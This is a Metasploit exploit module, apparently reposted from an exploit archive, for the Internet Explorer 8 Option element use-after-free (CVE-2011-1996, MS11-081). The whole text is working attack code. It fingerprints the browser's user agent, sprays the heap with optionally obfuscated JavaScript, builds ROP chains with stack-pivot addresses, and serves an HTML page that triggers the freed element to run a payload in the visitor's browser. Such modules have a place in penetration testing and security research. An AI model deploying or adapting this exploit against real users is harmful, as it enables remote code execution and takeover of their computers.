Microsoft Internet Explorer – Option Element Use-After-Free (MS11-081) (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer Option Element Use-After-Free", 'Description' => %q{ This module exploits a vulnerability in Microsoft Internet Explorer. A memory corruption may occur when the Option cache isn't updated properly, which allows other JavaScript methods to access a deleted Option element, and results in code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ivan Fratric', #Initial discovery 'juan vazquez', #Metasploit 'sinn3r' #Metasploit ], 'References' => [ [ 'CVE', '2011-1996' ], [ 'MSB', 'MS11-081' ], [ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ], [ 'URL', 'http://pastebin.com/YLH725Aj' ] ], 'Payload' => { 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 11 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) js = %Q| function heap_spray() { var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); } | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate @heap_spray_func = js.sym("heap_spray") end return js end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length) rop_payload << "\xeb\x04" # jmp $+6 rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret rop_payload << code else print_status("Using JRE ROP") rop_payload = generate_rop_payload('java', '') rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length) rop_payload << "\xeb\x08" # jmp $+10 rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret rop_payload << code end return rop_payload end def load_exploit_html(my_target, cli) @heap_spray_func = "heap_spray" p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) #var fakeobj = unescape("%u0c0c%u0c0c"); #call to 0c0c0c0c #eax ==> 0c0c0a14 html = %Q| <!DOCTYPE html> <html> <head> <script> #{js} function ivan() { var fakeobj = unescape("%u0a14%u0c0c"); fakeobj += unescape("%u4141%u4141"); while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141"); var formobj, selobj, optobj; selobj = document.getElementById("select1"); formobj = selobj.form; var imgarray = new Array(); for(var j = 0; j < 500; j++) { imgarray.push(document.createElement("img")); } for(var i=0;i<5;i++) { optobj = document.createElement('option'); optobj.text = "test"; selobj.add(optobj); } selobj.innerText = "foo"; for(var i = 0; i < imgarray.length; i++) { imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1); } #{@heap_spray_func}(); formobj.reset(); } </script> </head> <body onload='ivan()'> <form method="post"> <select id="select1"> </select> </form> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end |